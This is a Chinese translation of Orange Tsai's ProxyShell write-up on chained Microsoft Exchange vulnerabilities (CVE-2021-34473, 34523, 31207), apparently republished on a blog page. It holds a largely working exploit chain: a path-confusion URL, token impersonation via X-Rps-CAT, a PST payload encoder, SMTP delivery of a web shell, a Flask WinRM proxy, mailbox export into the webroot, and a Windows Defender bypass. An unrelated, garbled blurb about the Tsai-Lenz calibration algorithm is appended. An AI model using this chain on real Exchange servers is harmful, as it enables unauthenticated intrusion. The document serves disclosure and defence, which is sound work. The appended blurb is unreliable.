猎洞高手Orange Tsai 亲自讲解 ProxyShell write-up

 聚焦源代码安全,网罗国内外最新资讯!

编译:代码卫士

2021年4月,DEVCORE 研究团队成员 Orange Tsai 在Pwn2Own温哥华大赛上演示了位于微软 Exchange 中的一个远程代码执行漏洞,为此获得20万美元的奖励。自此,他披露了多个其它 Exchange 漏洞并在最近的黑帽大会上展示了其中一些研究成果。目前,微软已修复这些漏洞,Orange 披露了这些漏洞write-up 并称之为 “ProxyShell”。全文如下:

大家好,我是 DEVCORE 研究团队的 Orange Tsai。我将在本文介绍我们在 Pwn2Own 2021 大会上展示的利用链。它是微软 Exchange Server 上的一个预认证远程代码执行漏洞,我们将其称为 ProxyShell。本文将提供这些漏洞的更多详情。关于架构以及我们所发现的新攻击面内容,可参考链接 (https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/)。

ProxyShell 由三个漏洞组成:

  • CVE-2021-34473:可导致 ACL 绕过的预认证路径混淆漏洞

  • CVE-2021-24523:在 Exchange PowerShell 后台的提权漏洞

  • CVE-2021-31207:可导致 RCE 的认证后任意文件写漏洞

未认证攻击者可利用 ProxyShell 漏洞通过被暴露的端口443在微软 Exchange Server 上执行任意命令。

CVE-2021-34473:预认证路径混淆

第一个漏洞类似于 ProxyLogon 中的 SSRF,当前端(被称为客户端访问服务或 CAS)在计算后端 URL 时,该漏洞也会出现。当客户端HTTP请求被归类为 Explicit Logon Request 时,Exchange 将规范化该请求 URL 并在将请求路由至后端前删除邮件箱地址。

Explicit Logon是Exchange 中的一个特殊功能,可使浏览器通过单个URL嵌入或展示某个特定用户的邮箱或日历。为实现该功能,这个URL必须是简单的而且包含要展示的邮箱地址。如:

https://exchange/OWA/user@orange.local/Default.aspx

我们研究发现,在某些句柄如 EwsAutodiscoverProxyRequestHandler   中,可通过查询字符串指定邮箱地址。由于 Exchange 并充分检查邮箱地址,我们可在 URL 规范化过程中通过查询字符串擦除部分URL,访问任意后端 URL。

HttpProxy/EwsAutodiscoverProxyRequestHandler.cs

protected override AnchorMailbox ResolveAnchorMailbox() { 
     
    if (this.skipTargetBackEndCalculation) { 
        base.Logger.Set(3, "OrgRelationship-Anonymous"); 
        return new AnonymousAnchorMailbox(this); 
    } 
 
    if (base.UseRoutingHintForAnchorMailbox) { 
        string text; 
        if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)) { 
            text = base.ClientRequest.Params["Email"]; 
        } else if (RequestPathParser.IsAutodiscoverV2Version1Request(base.ClientRequest.Url.AbsolutePath)) { 
            int num = base.ClientRequest.Url.AbsolutePath.LastIndexOf('/'); 
            text = base.ClientRequest.Url.AbsolutePath.Substring(num + 1); 
        } else { 
            text = this.TryGetExplicitLogonNode(0); 
        } 
         
        string text2; 
        if (ExplicitLogonParser.TryGetNormalizedExplicitLogonAddress(text, ref text2) && SmtpAddress.IsValidSmtpAddress(text2)) 
        { 
            this.isExplicitLogonRequest = true; 
            this.explicitLogonAddress = text; 
             
            //... 
        } 
    } 
    return base.ResolveAnchorMailbox(); 
} 
 
protected override UriBuilder GetClientUrlForProxy() { 
    string absoluteUri = base.ClientRequest.Url.AbsoluteUri; 
    string uri = absoluteUri; 
    if (this.isExplicitLogonRequest && !RequestPathParser.IsAutodiscoverV2Request(base.ClientRequest.Url.AbsoluteUri)) 
    { 
        uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri, this.explicitLogonAddress); 
    } 
    return new UriBuilder(uri); 
}

从以上代码片段中可知,如果 URL 传递对 IsAutodiscoverV2PreviewRequest 的检查,则可通过查询字符串的Email 参数来指定 Explicit Logon 地址。由于该方法仅简单验证了 URL 的后缀,因此很容易指定该地址。

public static bool IsAutodiscoverV2PreviewRequest(string path) { 
ArgumentValidator.ThrowIfNull("path", path); 
return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase); 
} 
 
public static bool IsAutodiscoverV2Request(string path) { 
    ArgumentValidator.ThrowIfNull("path", path); 
    return RequestPathParser.IsAutodiscoverV2Version1Request(path) || RequestPathParser.IsAutodiscoverV2PreviewRequest(path); 
}

Explicit Logon 地址之后以参数的形式被传递给方法 RemoveExplicitLogonFromUrlAbsoluteUri,而该方法仅使用 Substring 擦除我们指定模式。

public static string RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) { 
    ArgumentValidator.ThrowIfNull("absoluteUri", absoluteUri); 
    ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress); 
    string text = "/" + explicitLogonAddress; 
    int num = absoluteUri.IndexOf(text); 
    if (num != -1) { 
        return absoluteUri.Substring(0, num) + absoluteUri.Substring(num + text.Length); 
    } 
    return absoluteUri; 
}

我们可设计如下 URL,滥用 Explicit Logon URL 的规范化进程:

https://exchange/autodiscover/autodiscover.json?@foo.com/?&          Email=autodiscover/autodiscover.json%3f@foo.com

这个有问题的 URL 规范化流程可使我们在以 Exchange Server 机器账户运行时访问任意后端URL。尽管该 bug 不如 ProxyLogon 中的 SSRF 那样强大,而且我们仅可操纵 URL 的路径部分,但它仍然足够强大到使我们以任意后端访问权限执行更多攻击。

CVE-2021-34523:Exchange PowerShell 后端提权漏洞

截至目前,我们能够访问任意后端URL。余下的就是利用后了。由于Exchange 执行了深入的 RBAC 防御措施( /Autodiscover 中的 ProtocolType 不同于 /Ecp),ProxyLogon 中用于生成 ECP 会话而使用的低权限操作被禁止。因此,我们必须找到利用它的方法。在这里我们关注的是名为 “Exchange PowerShell Remoting” 的功能。

Exchange PowerShell Remoting 功能可使用户从命令行发送邮件、读取邮件、甚至更新配置。Exchange PowerShell Remoting 建立于 WS-Management 之上并未自动化执行无数的 Cmdlets。然而,认证和授权部分仍然基于原始的 CAS 架构。

应当注意的是,尽管我们可以访问 Exchange PowerShell 的后端,但仍然无法正确与之交互,因为并不存在User NT AUTHORITY\SYSTEM 的有效邮箱。我们也无法注入 X-CommonAccessToken 标头来伪造身份以冒充其它用户。

那我们能做什么?我们全面检查了 Exchange PowerShell 后端的实现,发现可利用一个有意思的代码通过URL指定用户身份。

Configuration\RemotePowershellBackendCmdletProxyModule.cs

private void OnAuthenticateRequest(object source, EventArgs args) { 
    HttpContext httpContext = HttpContext.Current; 
    if (httpContext.Request.IsAuthenticated) { 
        if (string.IsNullOrEmpty(httpContext.Request.Headers["X-CommonAccessToken"])) { 
            Uri url = httpContext.Request.Url; 
            Exception ex = null; 
            CommonAccessToken commonAccessToken = CommonAccessTokenFromUrl(httpContext. 
                User.Identity.ToString(), url, out ex); 
        } 
    } 
} 
 
private static CommonAccessToken CommonAccessTokenFromUrl(string user, Uri requestURI, out Exception ex) { 
    ex = null; 
    CommonAccessToken result = null; 
    string text = LiveIdBasicAuthModule.GetNameValueCollectionFromUri(requestURI).Get("X-Rps-CAT"); 
    if (!string.IsNullOrWhiteSpace(text)) { 
        try { 
            result = CommonAccessToken.Deserialize(Uri.UnescapeDataString(text)); 
        } catch (Exception ex2) { 
            // handle exception here 
        } 
    } 
    return result; 
}

从代码片段可知,当 PowerShell 后端无法找到当前请求中的 X-CommonAccessToken 标头时,会试图反序列化并从查询字符串的 X-Rps-CAT 参数中恢复用户身份。该代码片段看似为内部 Exchange PowerShell 内部通信而设计。然而,由于我们能够直接访问该后端并在 X-Rps-CAT 中执行任意值,因此我们能够冒充任意用户。我们借此将自己从没有邮箱的系统账户“降级”至Exchange Admin。

现在,我们可以 Exchange Admin 身份执行任意 Exchange PowerShell 命令!

CVE-2021-31207:认证后任意文件写漏洞

该利用链的最后一步就是使用 Exchange PowerShell 命令找到认证后 RCE 技术。由于我们是管理员,可疑利用数百个命令,因此并不难办到。我们找到命令 New-MailboxExportRequest,将用户的邮箱导出到某个特定路径。

New-MailboxExportRequest -Mailbox orange@orange.local -FilePath
  \\127.0.0.1\C$\path\to\shell.aspx

该命令对我们很有用,因为我们可借此在任意路径创建文件。更好的是,被导出的文件是一个存储着用户邮件的邮箱,因此我们可通过 SMTP 交付恶意 payload。但唯一的问题是,邮件内容并未以明文格式存储,因为我们无法在导出的文件中找到 payload。

我们发现输出是 Outlook Personal Folders (PST) 格式。从微软的官方文档中可知,该 PST 仅使用简单的 Permutative Encoding (NDB_CRYPT_PERMUTE) 来编码我们的payload。因此我们可以在将其发出之前编码该 payload,而当该服务器试图保存并编码 payload 时,就会将其转为原始的恶意代码。

def encode(payload): 
    mpbbCryptFrom512 = [ 
        65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, 93, 
        30, 242, 203, 42, 116, 197, 94, 53, 210, 149, 71, 158, 150, 45, 154, 136, 
        76, 125, 132, 63, 219, 172, 49, 182, 72, 95, 246, 196, 216, 57, 139, 231, 
        35, 59, 56, 142, 200, 193, 223, 37, 177, 32, 165, 70, 96, 78, 156, 251, 
        170, 211, 86, 81, 69, 124, 85, 0, 7, 201, 43, 157, 133, 155, 9, 160, 
        143, 173, 179, 15, 99, 171, 137, 75, 215, 167, 21, 90, 113, 102, 66, 191, 
        38, 74, 107, 152, 250, 234, 119, 83, 178, 112, 5, 44, 253, 89, 58, 134, 
        126, 206, 6, 235, 130, 120, 87, 199, 141, 67, 175, 180, 28, 212, 91, 205, 
        226, 233, 39, 79, 195, 8, 114, 128, 207, 176, 239, 245, 40, 109, 190, 48, 
        77, 52, 146, 213, 14, 60, 34, 50, 229, 228, 249, 159, 194, 209, 10, 129, 
        18, 225, 238, 145, 131, 118, 227, 151, 230, 97, 138, 23, 121, 164, 183, 220, 
        144, 122, 92, 140, 2, 166, 202, 105, 222, 80, 26, 17, 147, 185, 82, 135, 
        88, 252, 237, 29, 55, 73, 27, 106, 224, 41, 51, 153, 189, 108, 217, 148, 
        243, 64, 84, 111, 240, 198, 115, 184, 214, 62, 101, 24, 68, 31, 221, 103, 
        16, 241, 12, 25, 236, 174, 3, 161, 20, 123, 169, 11, 255, 248, 163, 192, 
        162, 1, 247, 46, 188, 36, 104, 117, 13, 254, 186, 47, 181, 208, 218, 61 
    ] 
 
    tmp = '' 
    for i in payload: 
        tmp += chr(mpbbCryptFrom512.index(ord(i))) 
 
    assert '\n' not in tmp and '\r' not in tmp 
    return tmp

Exploit

让我们把所有都链接在一起!

步骤1:恶意 payload 交付

首先,通过 SMTP 将已编码的 web shell 交付给目标邮箱。如目标邮件服务器不支持越权用户发送邮件,则也可使用 Gmail 从外部交付恶意 payload。

from_mail = 'attacker@exchange.local' 
to_mail   = 'orange@exchange.local' 
payload   = 'webshell code here...' 
 
msg = MIMEText(None, _subtype='plain') 
msg.set_payload('hi', 'utf-8') 
 
msg['Subject'] = 'exploit' 
msg['From'] = from_mail 
msg['To'] = to_mail 
msg['TEST'] = ('A'*16) + encode(payload) + ('A'*16) 
msg = msg.as_string().replace('\n', '\r\n') 
 
r = smtplib.SMTP('exchange.local', port=25) 
r.sendmail(from_mail, to_mail, msg)

步骤2:PowerShell 会话建立

由于 PowerShell 建立于 WinRM 协议基础之上,实现通用的 WinRM 客户端并不容易,因此我们使用代理服务器劫持 PowerShell 连接并修改该流量。首先,我们将 URL 重写到 EwsAutodiscoverProxyRequestHandler 的路径,触发该路径混淆 bug 并使我们访问 PowerShell 后端。之后我们将参数 X-Rps-CAT 插入查询字符串以冒充任意用户。这里,我们可指定 Exchange Admin 的 SID 成为管理员!

app = Flask(__name__) 
@app.route('/<path:path>', methods = ['POST', 'GET']) 
def index(path): 
    if request.method == 'GET': 
        return 'ok' 
 
    # check data 
    data = request.stream.read() 
    action = re.search(r'<a:Action s:mustUnderstand="true">(.+?)</a:Action>', data) 
    assert action, "WinRM action not found" 
 
    # modify headers 
    req_headers = {} 
    for k, v in request.headers.iteritems(): 
        if k == 'Host': 
            v = HOST 
        if k == 'Authorization': 
            continue 
        req_headers[k] = v 
 
    # create X-Rps-CAT token 
    token = b64encode(create_token(SID, LOGON_NAME)) 
     
    # rewrite to `autodiscover` and trigger the path confusion bug  
    r = exploit('/Powershell?X-Rps-CAT=' + token, headers=req_headers, data=data) 
 
    # make response 
    resp = Response(r.content, status=r.status_code) 
    for k, v in r.headers.iteritems(): 
        if k in ['Content-Encoding', 'Content-Length', 'Transfer-Encoding']: 
            continue 
        resp.headers[k] = v 
 
    return resp 
 
app.run(host="127.0.0.1", port=8000)

步骤3:恶意 PowerShell 命令执行

在所建立的 PowerShell 会话中,我们执行如下 PowerShell 命令:

1、New-ManagementRoleAssignment,获得 Mailbox Import Export 角色

2、New-MailboxExportRequest,将包含恶意 payload 的邮箱导出到 webroot,作为 web shell。

$uri = 'http://127.0.0.1:8000/PowerShell/' 
$username = 'whatever' # unimportant 
$password = 'whatever' # unimportant 
 
$secure = ConvertTo-SecureString $password -AsPlainText -Force 
$creds  = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $secure) 
$option = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck 
 
$params = @{ 
    ConfigurationName = "Microsoft.Exchange" 
    Authentication    = "Basic" 
    ConnectionUri     = $uri 
    Credential        = $creds 
    SessionOption     = $option 
    AllowRedirection  = $ture 
} 
$session = New-PSSession @params 
 
Invoke-Command -Session $session -ScriptBlock { 
    # PowerShell commands to execute... 
}

其它说明

自 ProxyLogon 漏洞后,Windows Defender 开始拦截 Exchange Server webroot 下的危险行为。为成功地在 Pwn2Own 大会上获得 shell,我们花了一点时间绕过 Defender。我们发现,如果我们直接调用 cmd.exe,则 Defender 会实施拦截。然而,如果首先将 cmd.exe 通过 Scripting.FileSystemObject 复制到 webroot 下的 <random>,exe并执行,则运行成功且Defender 不会有任何操作。

另外一处需要说明的是,如果组织机构使用 Exchange Server 集群,则有时候会发生 InvalidShellID 异常。造成这个问题的原因在于在处理加载均衡器时我们需要一点运气。这时候可尝试捕获异常并再次发送请求。

最后一步,shell 获取成功!

补丁

微软已在4月和5月修复所有的这三个漏洞,但在三个月之后才公布补丁并分配CVE编号。微软给出的理由是4月份发布的更新虽然解决了漏洞但遗漏了CVE编号。

至于 CVE-2021-31207,则微软并未修复任意文件写漏洞,但使用白名单将文件扩展限制为 .pst、.eml 或 .ost。

至于在4月修复但在7月发布 CVE 的漏洞,Exchange 目前会检查 IsAuthenticated 的值,确保所有前端请求在生成访问后端的 Kerberos 工单时经过验证。

结论

尽管四月的补丁缓解了该新型攻击面的认证部分,但CAS 仍然是安全研究员猎洞的好去处。实际上,我们在4月补丁后还发现了其它一些漏洞。总之,Exchange Server 是一个挖洞的宝藏去处。如我们之前所言,即使在2020年,仍然可在Exchange Server 中找到硬编码密钥。我可以向大家保证,未来微软将修复更多的 Exchange 漏洞。

对于系统管理员而言,由于它是一个架构问题,因此缓解攻击面不可能一劳永逸。管理员能做得就是持续更新 Exchange Server并限制其在互联网的外部暴露。至少,应该应用4月发布的累积更新,阻止大部分的这类预认证漏洞!

推荐阅读

【BlackHat】速修复!有人正在扫描 Exchange 服务器寻找 ProxyShell 漏洞

Black Hat USA 2021主议题介绍

微软:确实存在另一枚 print spooler 0day,目前尚未修复

微软8月补丁星期二值得关注的几个0day、几个严重漏洞及其它

奇安信代码安全实验室研究员入选“2021微软 MSRC 最具价值安全研究者”榜单

原文链接

https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell

题图:Pixabay License

本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。

    觉得不错,就点个 “在看” 或 "赞” 吧~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Tsai-Lenz算法是一种常用的手眼标定算法,用于确定机器人手和相机之间的相对位置和姿态关系。这个算法的原理和实现方式在引用和引用中有详细介绍。你可以在这些文章中找到对应的Python、C和Matlab版本的代码实现方式。这个算法的实现可以通过传入相机和机器人手的关键点坐标,然后利用几何计算和优化算法来计算出相机和机器人手之间的转换矩阵。这个转换矩阵可以用于校准相机和机器人手的位置和姿态。在机器人应用中,手眼标定算法能够提供准确的相对位置和姿态信息,使机器人能够更精确地执行任务。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [手眼标定算法Tsai-Lenz代码实现(Python、C++、Matlab)](https://blog.csdn.net/qq_27865227/article/details/114266140)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [机器人手眼标定原理介绍(含详细推导过程)使用Tsai-Lenz算法](https://blog.csdn.net/qq_27865227/article/details/114011388)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值